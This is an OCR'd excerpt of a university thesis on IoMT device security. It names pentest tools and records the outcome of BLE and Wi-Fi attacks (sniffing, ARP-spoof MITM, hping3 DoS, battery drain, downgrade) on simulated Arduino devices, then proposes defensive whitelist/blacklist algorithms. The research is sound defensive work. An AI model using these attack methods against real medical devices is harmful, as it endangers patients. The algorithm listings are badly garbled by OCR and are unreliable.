Btscanner Scanner for | Identifying Scanning Linux Open-source 
Bluetooth Bluetooth 
devices devices 
Aircrack-ng Suite for Wi-Fi Cracking, Windows, Open-source 
Wi-Fi network vul- Testing Linux, 
network nerabilities macOS 
security 
analysis 
L2ping Ping tool for Testing Ping testing Linux Open-source 
L2CAP Bluetooth 
layer connectivity 
Btlejuice Bluetooth Intercepting Proxying Linux, Open-source 
Low Energy | BLE traffic macOS 
proxy tool 


34 (1 


Linneuniversitetet 


Kalmar Vaxjé 
Table 5.2: Leveraged Wi-Fi interaction libraries 
Tool Name Description | Purpose in Type of System License 
project tests Compatibil- 
ity 
ettercap Open-source | Wi-Fi vul- Sniffing, Linux Open-source 
Bluetooth nerabilities Modifica- 
monitoring tion, Denial 
tool of Service 
arpspoof ARP Network ARP spoof Linux Open-source 
spoofing tool | Manipula- 
tion 
hping3 Denial-of- Traffic DOS Attack Linux Open-source 
Service Interruption 
tool 
5.3.2 Python 


Python is a programming language with widespread applications, including penetration testing. 
Its synergy with Kali Linux amplifies its potency. Python enables users to craft customized 
scripts tailored to their testing environments. Notably, Python’s role in testing attacks shines 
through in developing tools like Scapy, offering a robust framework for forging, decrypting, 
and injecting packages. This versatility empowers Python to facilitate a diverse range of pene- 
tration testing tasks. Within the scope of this research, Python was employed primarily for the 
automation of penetration testing. The initial application occurred during the execution of a 
Downgrade Attack. This involved modifying the CONNECT-IND packet previously captured 
by Wireshark, detailed in Appendix A.3. Subsequently, an injection attack was performed, 


adhering to the procedures outlined in Appendix A.4. 


5.3.3 Arduino IDE 


The Arduino IDE is a software platform for writing and uploading programs to Arduino- 


compatible boards. It features a user-friendly text editor that allows direct coding and editing 
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for Arduino devices. The simulation of the IOMT devices, which feature both BLE and Wi- 
Fi connectivity, was conducted using Arduino IDE. The corresponding source codes for these 
simulations are available in Appendix A.2 and Appendix A.6 for Bluetooth Low Energy, and 


Appendix A.1 and Appendix A.7 for Wi-Fi connections. 


5.3.4 Bash 


Bash (Bourne Again SHell) is a command-line interpreter extensively utilized for script exe- 
cution and direct command entry. It is integrated into Kali Linux, tailoring operating system 
for the penetration testing stage of this research. Although Bash scripting was not extensively 
utilized throughout the research, it played a critical role in facilitating two significant attacks. 
These attacks include the Battery Drain attack and the BLE Denial-of-Service Attack, both of 
which were implemented within a single script. Details of this script can be found in Appendix 


A.5. 


5.4 Hardware Tools 

5.4.1 Asus USB-ACS56 

The dual-band 802.11 AC adapter supports data transfer rates of up to 400 Mbps, which makes 
it highly effective for penetration testing across various operating systems. The Asus USB- 
ACS56 driver plays a crucial role in sniffing wireless packets, a fundamental technique in pen- 
etration testing, thereby enhancing its utility and effectiveness in identifying security vulnera- 


bilities, see to Figure 5.14. 


Figure 5.14: Asus USB-AC56 
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5.4.2 Ubertooth 


Ubertooth is an open-source Bluetooth testing utility primarily designed for capturing and dis- 
secting Bluetooth signals. It is also playing pivotal role in identifying and exploiting vulner- 
abilities within Bluetooth protocols. A study underscored Bluetooth’s significance in locating 
and uncovering Bluetooth devices[85]. In essence, Bluetooth emerges as a pivotal asset for se- 
curing Bluetooth networks and facilitating thorough analysis and testing of Bluetooth devices, 


as shown in the Figure 5.15 of the Bluetooth used in the project. 


Figure 5.15: Ubertooth One 


51 (11 


Linneuniversitetet 


Kalmar Vaxjo 


5.4.3 Arduino UNO rev2 Wi-Fi 


The Arduino Uno Rev 2 Wi-Fi is an invaluable tool equipped with built-in Wi-Fi, facilitating 
seamless integration into IoT projects and enhancing the testing of security protocols within 
wireless networks. In the realm of penetration testing, this device proves essential, as it can 
simulate attack tests by mimicking IoMT devices. Thus, the Wi-Fi capability of the Arduino 
Uno Reef 2 is critical for effective penetration testing,as shown in Figure 5.16 is the Arduino 


Uno Reef 2 Wi-Fi. 


Figure 5.16: Arduino Uno Reef 2 Wi-Fi 
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5.4.4 Arduino NANO 33 BLE 


The tool features an nRF52840 microcontroller, renowned for its seamless integration with 
BLE technology. It facilitates interaction with devices compatible with BLE, thereby enhanc- 
ing the testing of security protocols within Bluetooth networks. This device is indispensable 
in penetration testing as it can simulate attack scenarios by mimicking IoMT devices. Conse- 
quently, the Arduino Nano 33 BLE is instrumental in penetration testing, specifically for its 


ability to sniff Bluetooth LE networks and identify their vulnerabilities, see to Figure 5.17. 
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Figure 5.17: Arduino NANO 33 BLE 
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5.5 IoTSF implementation 


Following the initial penetration testing conducted on the IoMT device without a security 
framework, which revealed that nearly all identified attacks successfully exploited the spec- 
ified potential threat vectors, we will now proceed to implement IoTSF. This framework was 
selected during the process outlined in Section 4, "Selection Criteria: A Filtering Approach." 
Subsequent to this implementation, we will replicate the previously executed attacks to identify 
any remaining vulnerabilities. Furthermore, we will propose a theoretical algorithm designed 


to mitigate the identified attacks that are successful after security framework implementation. 


5.5.1 The Process 


Initially, we will engage with the Risk Assurance Process as prescribed by the IoTSF [20]. 
We will focus on determining the security objectives in light of the selected threat vector and 
exploring mitigation strategies aligned with the framework’s guidelines. Subsequently, we 
will establish a relevant assurance class based on these security objectives. The details of the 
assurance process are documented in Tables 5.3 and 5.4. Additionally, HTTPS protocol will 
be implemented to secure communication between the device and the server. Notably, the 
selected framework does not extensively cover Bluetooth LE security measures; therefore, we 


will attempt to address these gaps within the backend code of the simulated device. 


5.5.1.1 Assurance Class 


Following the IoTSF guidelines, we outline assurance classes to establish an appropriate level 
of security assurance for the target device. The analysis indicates that the mimicked IJOMT 
device is categorized under the "High" level for Confidentiality, Integrity, and Availability. This 
classification underscores the critical importance of robust security measures for the device in 


question. More details about the assurance process are shown in Figure 5.18 below. 
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Create Risk Register 
© Determine CIA-Triad 
Security Objectives 
See Risk Assessment 
Appendix A for 

guidelines 


Conduct Risk 
Analysis on the 


Product in the 
Target Environment 


Determine 
Assurance Class 
Applicable to the 
Product 


Assurance Class based 
on security objectives 

«Documented Product 
Environment 


Respond to Each 
Question in this 


Framework 
Document 


* Complete Assurance 
Questionairre 
(available to loTSF 
Members) 

*Reference Evidence 
Documents 


Figure 5.18: Assurance Process Steps 


5.5.1.2 Assurance Applicability 


In this subsection, relevant portions of the Assurance Applicability table from the IoTSF se- 
curity framework were selected, and a new table was created to include these relevant points, 
tailored to meet the specific security requirements of our target device [20]. The adjustments 
were made to ensure the implementation of appropriate security measures. The details of these 


measures are presented in Table 5.3 and Table 5.4 below. 
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Table 5.3: Assurance Applicability — Device Software 


Req No. 


Requirement 


Assurance Class 


and 


Applicability 


Primary 


Keywords 


Secondary 


Keywords 


2.4.5.8 


Safeguarding the 
software from 
unauthorized 
rollback to 
previous, less 


secure versions 


Mandatory 


System 


Software 


2.4.5.12 


Protection from 
information 


leakage 


Mandatory 


System 


Hardware 


245.21 


Utilize certificate 
pinning or the 
equivalent 
public/private key 
methods where 
suitable for 


TCP/IP 


Mandatory 


System 


Software 


2A 520 


Employ 
“Fuzzing” tests to 
evaluate the 
system’s 
responses or 
output when 
subjected to both 


valid and invalid 


input stimuli 


Mandatory 


Business 


Process 
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Table 5.4: Assurance Applicability — Cloud and Network Elements 


service, the cloud 
service TCP 
based 
communications 
(such as MQTT 
connections) are 
encrypted and 
authenticated 
using the latest 


TLS standard. 


Req No. Requirement Assurance Class Primary Secondary 
and Keywords Keywords 
Applicability 
2.4.13.6 devices support Advisory System Software 
secure 
TLS/DTLS 
ciphers 
2.4.13.23 If run as a cloud Mandatory System Software 
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6 Results And Analysis 


This section is organized into three subsections, each corresponding to the results and analysis 


related to a specific research questions. 


6.1 What are the primary threat vectors impacting the security of the Internet 


of Medical Things IoMT)? (RQ1) 


Section 2.2 details the methodology employed to address the research question. Section 5.2 


presents the results, highlighting the primary threat vectors. The study concentrated on Net- 


work layer attacks while excluding Perception layer attacks and Application layer attacks. 


The technologies utilized for connectivity are Wi-Fi as referenced in Table 6.1 and BLE as 


referenced in Table 6.2. 


Table 6.1: The defined attack vectors with Wi-Fi 


Attack Type 


Impact on Security Concerns 


Man-in-the-Middle (MitM) 


Data Confidentiality and Data Integrity. 


Packet Sniffing 


Data Privacy and Data Confidentiality 


Denial-of-Service (DoS) 


Data Availability and Trust-related Issues 


Packet Modification Data Integrity 
Packet Dropping Data Availability 
Replay Attack Data Integrity 


Table 6.2: The defined attack vectors with Bluetooth 


Attack Type 


Impact on Security Concerns 


Battery Drain 


Trust-related Issues 


BDOS (Bluetooth Denial of Service) 


Data Availability and Trust-related Issues 


BLE Sniffing 


Data Privacy and Data Confidentiality 


Downgrade 


Data Integrity and Confidentiality 


Fuzzing 


Data Integrity and can lead to Trust-related 


Issues 
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Section 3.2.2 defines and discusses in detail the parameters in Tables 6.1 and 6.2 regarding 
Data Privacy, Confidentiality, Integrity, and Trust-related Issues. 
The analysis begins with identifying and explaining primary threat vectors impacting the se- 
curity of lIoMT devices. Various threat vectors were identified through extensive research and 
penetration testing activities, encompassing Bluetooth LE and Wi-Fi networks. These vectors 
include battery drain attacks, Bluetooth Denial-of-Service (DoS), Man-in-the-Middle (MitM) 
attacks, packet sniffing, and packet modification, among others. Each vector poses unique risks 
to IoMT device security, from data confidentiality breaches to service disruptions and device 


manipulation. 


6.2 How do primary threat vectors impact a mimicked Internet of Medical 
Things (IoMT) device with and without implementing a security frame- 
work? (RQ2) 

Table 6.3 presents the outcomes of the penetration tests conducted for each attack identified in 

Table 6.2, which details the defined attack vectors involving Bluetooth LE. These penetration 

tests were performed according to the procedures summarized in Section 2.3.3 and organized 


into two cases (Bluetooth Data Interception and Wi-Fi Data Interception). 
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Table 6.3: Penetration Testing over the defined attack vectors with Bluetooth 


Attack Hardware Software | Action | Without | Corres- With Corres- 


tool tool Security | ponding | Security | ponding 
Frame- Ap- Imple- Ap- 
work pendix | menta- pendix 
tion 


Battery | Ubertooth| gatttool, | Constant v Appendix x Appendix 
Drain expect read B.1 E.1 


Requests 


BDOS Ubertooth| gatttool, | Constant v Appendix x Appendix 


expect connect B.2 E.1 
requests 
BLE Ubertooth| bettercap | Read, v Appendix x Appendix 
Sniffing write to B.1 E,.2 
packets 


Downgrade Ubertooth| Wireshark, Force Possible | Appendix} Possible - 
Python, | device to E.1 
Bluepy, | use older 
Scapy proto- 


cols 


Fuzzing | Ubertooth| Wireshark, Malform v Appendix x Appendix 


gatttool | packages BS E.1 


The parameters detailed in Table 6.3 include: Attacks: Corresponds to the findings from 
Research Question 1 (RQ1) as outlined in Table 6.2. Hardware Tools: These are described 
in Section 5.4. Software Tools: Defined in Section 5.3. Action: Describes the capabilities 
of each attack, with detailed explanations provided in Section 5.2.2. Additionally, With Secu- 
rity Implementation: parameter is not addition to the security framework, instead it indicates 
the additional security measures that were implemented by the researchers due to limitations 


of the IoTSF, and missing presence of BLE specific security mechanisms and guidelines. A 
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checkmark (V ): indicates a successful attack, while "Appendix X.X" provides evidence that 
the penetration test was successfully executed. Additionally, ''Appendix Y.Y" in the Block 


Diagram column refers to the block diagram for each attack. 


However, Table 6.4 presents the outcomes of the penetration tests conducted for each at- 
tack identified in Table 6.1, which details the defined attack vectors involving Wi-Fi. These 
penetration tests were performed according to the procedures summarized in Section 2.3.3 and 
organized into two cases, the second Case being Wi-Fi Data Interception. Where the parameters 
detailed in Table 6.4 include: Attacks: Corresponds to the findings from Research Question 1 
(RQ1) as outlined in Table 6.1. Hardware Tools: These are described in Section 5.4. Soft- 
ware Tools: Defined in Section 5.3. Action: Describes the capabilities of each attack, with 
detailed explanations provided in Section 5.2.2. A checkmark (Vv): in Table 6.4 indicates a 
successful attack, while ''Appendix X.X"' provides evidence that the penetration test was suc- 
cessfully executed. Additionally, "Appendix Y.Y"' in the Block Diagram column refers to the 


block diagram for each attack. 
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Table 6.4: Penetration Testing over the defined attack vectors with Wi-Fi 


Attack Hardware Software | Action | Without | Corres- With | Corerrs- 
tool tool Security | ponding | Security | ponding 
Frame- Ap- Frame- Ap- 
work pendix work pendix 
Packet ASUS | Wireshark, Read v Appendix x Appendix 
Sniffing USB- ettertool, | traffic C.1 D.1 
AC56 nmap 
DOS ASUS hping3 | Make re- v Appendix v Appendix 
USB- sources C.2 D.2 
AC56 inacces- 
sible 
MITM ASUS | arpspoof, | Intercept v Appendix x Appendix 
USB- ettercap | commu- C.3 D.3 
AC56 nication 
between 
targets 
Packet ASUS ettercap Drop v Appendix x Appendix 
Drop- USB- packets C4 D.3 
ping AC56 from 
target 
Replay ASUS | Wireshark, Spam v Appendix x Appendix 
Attack USB- scapy, package C5 D.3 
AC56 ettertool | to desti- 
nation 
Packet ASUS | Wireshark} Modify v Appendix x Appendix 
Modifi- USB- ettercap, | packets C.6 D.3 
cation AC56 scapy, | onthe go 
urlllib 
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The examination of the impact of primary threat vectors on mimicked IoMT devices with 
and without implementing security frameworks provides valuable insights into the efficacy of 
security measures in mitigating risks. Without security frameworks, the penetration testing re- 
sults revealed a higher success rate of attacks, indicating significant vulnerabilities in lOMT 
device security. 90% of primary threat vector attacks were particularly effective, highlighting 
the critical need for robust protection measures to protect patient data and device functionality. 
Conversely, the implementation of security frameworks, namely loTSF, demonstrated a no- 
table reduction in the success rate of attacks. While some vulnerabilities remained exploitable, 
the frameworks provided guidelines and methodologies for identifying and addressing secu- 
rity weaknesses effectively. The results from Tables 6.3 and 6.4 underscore the importance of 
adopting standardized security practices and frameworks in mitigating IoOMT device vulnera- 


bilities and enhancing overall security posture. 
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6.3 What strategies can be employed in the development of a novel security 
framework(RQ3) 

Following the analytical approach outlined in section 2.4.1 on penetration testing phases and 

based on the findings from Table 6.3 regarding Bluetooth LE tests and Table 6.4 for Wi-Fi, 

security algorithm whose effectiveness is validated by practical outcomes, as detailed in Section 


5.5. 


Table 6.5: Notation scheme for Algorithm 1: Secure Comm: DOS-Resilient Communication 


for Client and Provider 


Symbol Meaning 
Ulomr User IoMT device 
Cserver Cloud server 
2rA Two-Factor Authentication 
Token Secure Token 
Wrist Whitelist 
Brist Blacklist 
U.Stoken Token for the user of the loOoMT 
CS token Token for the Cloud server 
Unata Senstive data from U;,yr 
Edata Encrypted Data 
UpublicKey Public key of Ujur 
CPublicKey Public key of Cerner 
C Private Private key of Cserver 
Uypip Unique device identifier (UDID) over SSL for U;,yr 
Cupm | Unique device identifier (UDID) over SSL for Cs¢,,¢, 
Counter Counter 
A yacker Hacker 
Hypip Unique device identifier (UDID) for the Hacker 
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Algorithm 1 Secure Comm: DOS-Resilient Communication for Client and Provider 


1: 


2 


3: 


27: 


28: 


29: 


30: 


: Ulomr 


> Ujomr 
: Step 2 
: if (U.S Token == C.S‘token ) then 


Begin: 


Step 1 Uj yr establishes a secure connection. 


request 274 


Utom T Osenie 


send the confirmed 24 C 
< Server 


: Unomr generates Styken 


sends Sypyxen and request connection 
— 


C server 


if Upatq needs to be shared with C's... then 


if (Upata == Epata ) then 


Request the ACK 


Utomr O Server 


Send the ACK 


Utom r Cs, erver 


Send the Upata 
——? 


Utom a C semper 


end if 
if (Obata = Epata ) then 


Share the Upyplickey 


Osea? 


Confirm the receiving of Upyptickey 


Uiom T 


Utomr OServer 


Asking for CPublicKey 
— 


Utom Ir C Sener 


ACK to Share the Cpypiickey 
go eee 


Utom Ir C sane 


Share the Cpyptickey 


Utom T Cs, erver 


> using 2, 


> verified the token 
> Sharing information with Server 


> Check if the Data encrypted 


> If Data Not encrypted 


both U;,wr and C'se;ye, are shared theirs public key Upypiickey ANd C’pubtickey 


Utomr will encry pt his Una using CPublicKey Now Updata = Epata 


Share the E-pata 
Sey 


Utom T Cs 


Cserver Will decrypt the Epa using his CpyiyareKey 


Cserver eStablishs SSL/TLS encryption session 


end if 
else 
Ujomr Stop the connection. 
end if 
end if 


13 


aie Linnéuniversitetet 


Kalmar Vaxjo 


Continuation of algorithm 1 


1: 


: Utom T 
: Ulom T 
: Ulom T 


: Utomr 


: Cerny 
: C server 
: C serier 


: Conia 


Step 3 


: After establishing SSL connection 


request for AC’K to share Uypip 6: 
? Server 


send ACK to share Uypip C 
OU server 


sending Uypip 
C semen 


ACK of receiving Uypip C 
Server 


: then Cesar will list Uypip to be Wrist 


request for AC’K to share Cypip U 
> UIoMT 


send ACK to share Cupip U, 
< IoMT 


sending Cypip 
? Uiom 44 


ACK of receiving Cupip U, 
. IoMT 


: then Ulomr will list Cupip to be Wrist 


: Step 4 


: while (Uypip IN Wrist ) AND (Cupip IN Wyis;) do > +both parties are checking if they 


have each other on their whitelist 


(Cserver) Will not set (Counter ) AND (U;,yr) will not set (Counter) 


Sending to the Cse,ye, as trusted entity C 
? Server 


Sending to the Uj,yr as trusted entity 
OH 


Ulom T 


AND G seroen Utom T 


: end while 


ieee Hacker 


the Hacker sending messages to Cse;ye, ot Ulomr 


( Cserver) OR (Ujomr then) 
(Cserver) OR (Uiomr) will check if (Hupp) IN (Wiis: ) 
if (Hupp) NOT IN (Wis; ) then 
(Hypip) will be in (Bris;) AND will set Counter for 5 > the Hacker will be added 


in the Blacklist and set a counter only to receive 5 messages then automatically block 
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"Secure Comm: DOS-Resilient Communication for Client and Provide" consists of 
four main steps: 
Step 1: Establish a Secure Connection, the loMT device user requests Two-Factor Authentica- 
tion (2FA) from the Cloud Server. Upon receiving the 2FA, the user generates a Secure Token 
(SToken). 
Step 2: Verification and Data Sharing, verify that the user’s token matches the one from the 
server to ensure it is valid. If the token is verified, determine if the data needs to be shared. 
Establish an SSL/TLS encryption session to share the data if it has already been encrypted. If 
the data is not encrypted, the user loMT device and the server will exchange their public keys 
to enable asymmetric encryption. Once encrypted, they will establish an SSL/TLS encryption 
session. 
Step 3: Send and Receive Unique Device Identifiers, the user IOMT device and the Cloud 
Server exchange their Unique Device Identifiers (UIDDs) over the established SSL connection. 
Each party lists the other’s UIDD on their respective Whitelists. 
Step 4: Whitelist and Blacklist Management, if their UDIDs are in each other’s whitelist, both 
the user IOMT device and the Cloud Server send messages to each other as trusted entities. 
If a UIDD is not found in the Whitelist, it added to a Blacklist. Entities in the Blacklist can 
only send up to five messages before being automatically blocked. This algorithm ensures a se- 
cure and resilient communication channel between the user loMT device and the Cloud Server 
by leveraging two-factor authentication, token verification, encryption, and Whitelist/Blacklist 


management. 
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Table 6.6: Notation scheme for Algorithm 2: Dynamic BLE IoMT Shield 


Symbol Meaning 

Ulomr User IoMT device 

Wrist Whitelist 

Brist Blacklist 
Madaress MAC address 
PRequester Requester 
BEtimer Blacklist expiry Timer 
NICs NFC Tag 
BLoueue | Blacklist Queue (Linked List) 


74 (03 


aie Linnéuniversitetet 


Kalmar Vaxjé 


Algorithm 2 Dynamic BLE IoMT Shield 


Request to initiate connection 
1: M, Requester > UJoMT 


2: Utomr-T BlackzistExpiry > Update blacklist timer, reset if necessary 


3: if Utomr-Madaress € Wrist then 


4: Connection Allowed > Device is in whitelist 
ae Initiate Secure Connection > Use encrypted channels 
6: Send Success Feedback to System and User 

7: else 


8: if Utomr-Madaress € Brist then 


9: Reject and do not accept requests > Device is in blacklist 
10: Send Rejection Notification 
11: else 
12: if Not Previously Attempted Connection then 
13: Add to QsiackListQuene With Timestamp 
14: end if 
15: Q BlackListQueue|U tomt-Madaress|-timesRequested ee 


Q BlacktistQueue|Utomr-Madaress| .timesRequested +1 


16: if QpiackListouene|Utomr-Madaress|.timesRequested > 5 and Time < 30 Minutes then 
1% Bris:-add (Ujomr-Madaress ) > Blacklist after excessive attempts 
18: Send Blacklist Notification 

19: else 

20: Reject Connection > Not whitelisted or blacklisted yet 
21: Send Rejection Notification 

22: end if 

23; end if 

24: end if 


25: Procedure for whitelisting a device via NFC 

26: if Close proximity with Nyrc Tag and Authenticated then 

20 Establish Secure Direct Connection 

28: Add Ujour-Maddress to Wrist > Whitelist device via NFC tag 
29: Log Whitelist Event 
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"Dynamic BLE IoMT Shield" is designed to manage BLE connections for loMT devices 
by dynamically handling whitelists and blacklists to enhance security. It involves several steps 
and conditions to decide whether to allow or reject connection requests based on the device’s 
status in these lists. 

Step-by-Step Explanation: 

Step 1: Initiate Connection Request 

The requesting device (MRequester) sends a request to initiate a connection to the loMT device 
(UIoMT). 

Step 2: Update Blacklist Timer 

The UIoMT device updates the blacklist timer and resets it if necessary. This step ensures that 
blacklist entries are managed based on time. 

Step 3: Check Whitelist 

Condition: If the requesting device’s address (UloOMT.MAddress) is found in the whitelist 
(WList): 


¢ Action: Allow the connection. 
¢ Secure Connection: Initiate a secure connection using encrypted channels. 
¢ Feedback: Send a success notification to the system and the user. 


Step 4: Check Blacklist 


Condition: If the requesting device’s address is found in the blacklist (BList): 
¢ Action: Reject the connection request.. 
¢ Feedback: Send a rejection notification to the requesting device.. 


Step 5: Handle Unlisted Devices 


Condition: If the device is not in the whitelist or blacklist: 
¢ Check Connection Attempts: If this is not a previously attempted connection: 


— Add the device to a queue (BlackList Queue) with a timestamp. 
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¢ Update Attempts: If this is previously attempted connection increment the number of 


times this device has requested a connection. 
¢ Excessive Attempts: If the number of connection attempts exceeds 5 within 30 minutes: 


— Action: Add the device to the blacklist. 


— Notification: Send a blacklist notification to the requesting device. 
¢ Otherwise: If attempts are within limits: 


— Action: Reject the connection request. 


— Notification: Send a rejection notification to the requesting device. 


Step 6: Whitelist via NFC 


Condition: If the device is in close proximity to the custom NEC tag: 
¢ Action: Establish a secure direct connection. 
¢ Whitelist: Add the device to the whitelist (WList). 


¢ Log Event: Record the whitelisting event for auditing purposes. 
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7 Discussion 


This study aimed to elucidate the susceptibility of lOMT devices, which are integral to daily 
human activities, to a specified threat vector both before and after the deployment of a security 
framework employing commonly used Wi-Fi and Bluetooth LE communications. Additionally, 
this research proposed a security algorithm designed to mitigate these risks. The ultimate aim 
was to enhance the security dimension of IoMT devices and to increase awareness regarding 
prevalent vulnerabilities. 

A comprehensive systematic literature review addressed the initial research question (RQ1) to 
delineate the threat vectors associated with the (IoMT) devices. This review elucidated multiple 
threat vectors, particularly emphasizing the vulnerabilities inherent in Wi-Fi and Bluetooth LE 
technologies. Although efforts made to categorize these threats systematically, overlapping vul- 
nerabilities across various connectivity methods accentuate the complexity of fortifying loMT 
devices against security breaches. The array of threats highlights the multifaceted challenges 
confronting IoMT security, compelling the adoption of an integrated threat management ap- 
proach. 

The research question two (RQ2) of this investigation employed Arduino Uno Wi-Fi rev2 and 
Arduino NANO 33 BLE to mimic IoMT devices and conduct penetration testing using the 
Penetration Testing Execution Standard (PTES) algorithm. This testing was executed initially 
without implementing any security frameworks, followed by applying a security framework. 
Several challenges were encountered during the mimicking and coding phases, primarily due 
to bugs within the Arduino Integrated Development Environment (IDE) and the absence of 
necessary libraries. Despite these limitations, the experimental outcomes were deemed satis- 
factory within the research scope. Penetration tests on the device lacking a security framework 
revealed that nearly all attack vectors for Wi-Fi and Bluetooth LE communications were suc- 
cessful. However, implementing a downgrade attack was not feasible due to equipment limita- 
tions. 

Nevertheless, an injection packet crafted successfully prepared by modifying the CONNECT- 
IND packet contents using Python scripts, as detailed in Appendices A.3 and A.4. After the 


integration of components specified by the loTSF Security framework, the majority of Wi-Fi 
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attacks were mitigated, particularly those that were dependant to man-in-the-middle (MITM) 
attacks, which extensively conducted following ARP poisoning. The transition from HTTP to 
HTTPS and SSL significantly enhanced security, yielding satisfactory results. Despite these 
improvements, a Denial of Service (DOS) attack using hping3 targeted not at the server but at 
the mimicked device was still feasible. This attack could incapacitate the device’s ability to 
transmit data and deplete its battery, posing a substantial threat given that prolonged use of this 
attack could temporarily and permanently render the device inoperative. Regarding Bluetooth 
LE security, it was discovered that the loTSF framework does not address vulnerabilities asso- 
ciated with BLE connections, resulting in all pre-framework implementation attacks remaining 
viable. This finding underscores a significant gap in the security framework, underlining the 
necessity for more robust protective measures for devices utilizing BLE. 

To address the third research question, algorithms were developed to counteract the residual 
vulnerabilities following the implementation of security frameworks, specifically targeting De- 
nial of Service (DoS) attacks directed at the IoMT device instead of the server on the Wi- 
Fi communication security side and all defined threat vector attacks including Battery Drain, 
BDOS, Fuzzing, and Sniffing except Downgrade attack for the BLE communications. 

To address the third research question (RQ3), this study formulated specialized algorithms to 
mitigate residual vulnerabilities that persist following the implementation of security frame- 
works. The initial algorithm, "Secure Comm: DOS-Resilient Communication for Client and 
Provider," explicitly targets vulnerabilities that enable a Denial of Service (DoS) attack. Unlike 
conventional approaches focusing on server security, this algorithm is designed to protect the 
IoMT devices themselves within the context of Wi-Fi communication security. The second al- 
gorithm, "Dynamic BLE IoMT Shield," addresses all identified threat vectors that impact BLE 
communications. This includes vulnerabilities such as Battery Drain, Bluetooth DoS (BDOS), 


Fuzzing, and Sniffing. 
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8 Conclusion and Future Work 


In conclusion, this research successfully addressed critical challenges in the security of OMT 
devices, emphasizing the necessity for tailored security frameworks to safeguard sensitive med- 
ical data. The pivotal findings reveal significant vulnerabilities within existing security frame- 
works, particularly in managing BLE communications, as the IoTSF outlines. Notably, the 
development of two bespoke security algorithms, "Dynamic BLE IoMT Shield" and "Secure 
Comm: DoS-Resilient Communication for Client and Provider," marks a significant advance- 
ment in IoMT security, offering robust solutions to previously identified deficiencies. These 
contributions enhance the resilience of loMT devices against cyber threats and set a founda- 
tional precedent for subsequent innovations in healthcare cybersecurity. 

Future research endeavors should conduct penetration testing on actual IoMT devices, uti- 
lizing the specific attack vectors delineated within this study. Such empirical testing is essential 
to validate the efficacy of the proposed security measures under real-world conditions, which 
may differ markedly from simulated environments. Further, it is advisable to extend penetra- 
tion testing to the Application and Perception layers. This recommendation arises because this 
research primarily focused on identifying and addressing vulnerabilities within the Network 
Layer. Comprehensive testing across multiple layers will ensure a more robust evaluation of 
the system’s security posture. Additionally, an ongoing focus must be placed on the practi- 
cal implementation of the newly developed security algorithms across diverse IoMT platforms. 
This should include a broad deployment and a continuous refinement of these solutions to ad- 
dress and neutralize emerging cyber threats preemptively. The proactive adaptation of security 
measures in response to evolving threat landscapes is crucial for maintaining the integrity and 


confidentiality of medical data. 


30 (12) 


Linneuniversitetet 


Kalmar Vaxjé 


References 


[1] F. B. Insights, “Iomt (internet of medical things) market size, share covid-19 impact 


analysis,,” October 2021. [Online]. Available: https://www.fortunebusinessinsights.com/ 


industry-reports/internet-of-medical-things-1omt-market- 101844 


[2] T. B. Insights, “Internet of medical things [iomt] market size by platform,.” [Online]. 
Available: https://www.thebrainyinsights.com/report/internet-of-medical-things-iomt-m 


arket- 13410 


[3] M. Javaid, A. Haleem, R. P. Singh, S. Rab, M. I. Ul Haq, and A. Raina, “Internet 
of things in the global healthcare sector: Significance, applications, and barriers,” 
International Journal of Intelligent Networks, vol. 3, pp. 165-175, 2022. [Online]. 
Available: https://www.sciencedirect.com/science/article/pii/S2666603022000197 


[4] A. Gatouillat, Y. Badr, B. Massot, and E. Sejdic, “Internet of medical things: A 
review of recent contributions dealing with cyber-physical systems in medicine,” JEEE 
Internet of Things Journal, vol. 5, no. 5, pp. 3810-3822, 2018. [Online]. Available: 


https://1eeexplore.icee.org/document/8388 188 


[5] R. Salama, F. Al-Turjman, P. Chaudhary, and S. P. Yadav, “(benefits of internet of things 
(iot) applications in health care - an overview),” pp. 778-784, 2023. [Online]. Available: 
https:/Aeeexplore.ieee.org/document/10141452 


[6] M. Chauvin, O. Piot, S. Boveda, L. Fauchier, and P. Defaye, “Pacemakers and implantable 
cardiac defibrillators: Must we fear hackers? cybersecurity of implantable electronic 


devices,” Archives of Cardiovascular Diseases, vol. 116, no. 2, pp. 51-53, 2023. [Online]. 
Available: https://www.sciencedirect.com/science/article/pii/S 18752 13623000062 


[7] Healthcare Data Breach Statistics. [Online]. Available: https://www.hipaajournal.com/h 
ealthcare-data-breach-statistics/ 


[8] “Bhc-iot: A survey on healthcare iot security issues and blockchain-based solution,” 


vol. 2. [Online]. Available: https://www.yecer.org/ijecer/article/view/302 


31 


aie Linnéuniversitetet 


Kalmar Vaxjé 


[9] A. Mosenia and N. K. Jha, “A comprehensive study of security of internet-of-things,” 


IEEE Transactions on Emerging Topics in Computing, vol. 5, no. 4, pp. 586-602, 2017. 


[10] P. Sharma, M. Kherajani, D. Jain, and D. Patel, “A study of routing protocols, security 
issues and attacks in network layer of internet of things framework,” in 2nd International 


Conference on Data, Engineering and Applications (IDEA), 2020, pp. 1-6. 


[11] T. Ahmed Alhaj, S. M. Abdulla, M. A. E. Iderss, A. A. A. Ali, F. A. Elhaj, M. A. 
Remli, and L. A. Gabralla, “A survey: To govern, protect, and detect security principles 
on internet of medical things (iomt),’ JEEE Access, vol. 10, pp. 124777-124791, 2022. 
[Online]. Available: https://ieeexplore.ieee.org/document/99642 14 


[12] M. Mahmood, M. I. Khan, Ziauddin, H. Hussain, I. Khan, S. Rahman, M. Shabir, and 
B. Niazi, “Improving security architecture of internet of medical things: A systematic 
literature review,” [EEE Access, vol. 11, pp. 107 725-107 753, 2023. [Online]. Available: 
https://1eeexplore.icee.org/document/10138814 


[13] T. Nusairat, M. M. Saudi, and A. B. Ahmad, “A recent assessment for the ransomware 
attacks against the internet of medical things (iomt): A review,’ pp. 238-242, 2023. 


[Online]. Available: https://ieeexplore.ieee.org/document/10237161 


[14] K. Kandasamy, S. Srinivas, K. Achuthan, and V. P. Rangan, “lot cyber risk: A holistic 
analysis of cyber risk assessment frameworks, risk vectors, and risk ranking process,” 


EURASIP Journal on Information Security, vol. 2020, no. 1, May 2020. [Online]. 
Available: https://doi.org/10.1186/s 13635-020-00111-0 


[15 


ey 


“Technical guidelines - the penetration testing execution standard,’ PTES Technical 


Guidelines - The Penetration Testing Execution Standard. [Online]. Available: 


http://www.pentest-standard.org/index.php/PTES_Technical_Guidelines 


[16 


Sd 


Technical guide to information security testing and assessment. [Online]. Available: 


https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-115.pd 


[17] “The open source security testing methodology manual,’ OSSTMM 3 — The open source 


security testing ..., 2010. [Online]. Available: https://www.isecom.org/OSSTMM.3.pd 


2 (1 


Linneuniversitetet 


Kalmar Vaxjé 


